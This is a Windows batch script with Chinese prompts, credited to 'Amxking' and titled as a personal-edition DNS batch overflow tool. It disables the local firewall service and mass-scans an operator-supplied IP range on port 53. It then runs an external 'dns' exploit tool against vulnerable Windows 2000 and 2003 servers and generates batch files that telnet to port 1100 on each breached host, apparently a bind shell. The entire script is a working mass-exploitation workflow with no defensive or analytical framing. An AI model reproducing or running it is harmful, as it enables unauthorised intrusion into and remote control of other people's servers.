@shift 1 
@ setlocal 
@ cls 
@ color A 
@ title DNS批量溢出个人版 
@echo ================================================================================ 
@echo DNS批量溢出个人版 
@echo BY Amxking 
@echo 1.输入您想溢出的IP段 格式：XXX.XXX.XXX.XXX XXX.XXX.XXX.XXX  
@echo================================================================================= 
@ set /p input=1.输入您想溢出的IP段: 
@ echo %input%>>ip.txt 
@ net stop sharedaccess 
@ net start server 
@echo ================================================================================ 
@set /p c=请选择扫描方式： (1为TCP，2为syn): 
@if "%c%"=="2" goto syn 
@if "%c%"=="1" goto tcp 

:syn 
@for /f "eol= tokens=1,2 delims= " %%i in (ip.txt) do %MYFILES%\s syn %%i %%j 53 /save 
@ goto ip 

:tcp 
@for /f "eol= tokens=1,2 delims= " %%i in (ip.txt) do %MYFILES%\s tcp %%i %%j 53 1000 /save 

@ goto ip 

:ip 
@for /f "eol=- tokens=1 delims= " %%i in (result.txt) do echo %%i>>s1.txt 
@for /f "eol=P tokens=1 delims= " %%i in (s1.txt) do echo %%i>>s2.txt 
@for /f "eol=S tokens=1 delims= " %%i in (s2.txt) do echo %%i>>s.txt 

@del ip.txt 
@del s1.txt 
@del s2.txt 
@del Result.txt 
@echo================================================================================= 
@echo 等待溢出…………当出现类似203.80.19.6 1077 :Vulnerability OS:window 2003 
@echo 为可以溢出的IP 203.80.19.6 为IP 1077为端口 2003 为系统类型 
@echo 请把能溢出的保存为boot.txt 保存格式：IP 端口 系统 例如 58.34.125.200 1029 2003 
@echo================================================================================= 
@ FOR /F "eol= tokens=1 delims= " %%i in (s.txt) do %MYFILES%\dns -s %%i >>a.txt 
@echo================================================================================= 
@echo 请把能溢出的保存为boot.txt 保存格式：IP 端口 系统 例如 58.34.125.200 1029 2003 
@echo================================================================================= 
@pause 

@ for /F "eol= tokens=1,2 delims= " %%i in (boot.txt) do %MYFILES%\dns -t2000all %%i %%j 

@for /F "eol= tokens=1,2 delims= " %%i in (boot.txt) do %MYFILES%\dns -t2003eng %%i %%j 
@goto yichu 
:yichu 
@for /F "eol=s tokens=1 delims= " %%i in (boot.txt) do echo telnet %%i 1100>>3.txt 
@for /F "eol= tokens=1 delims=" %%i in (3.txt) do echo %%i>>%%i.bat 
@del s.txt 
@del a.txt 
@del 3.txt 

@echo================================================================================= 
@echo 运行生成的批处理 等待溢出………… 
@echo================================================================================= 
@pause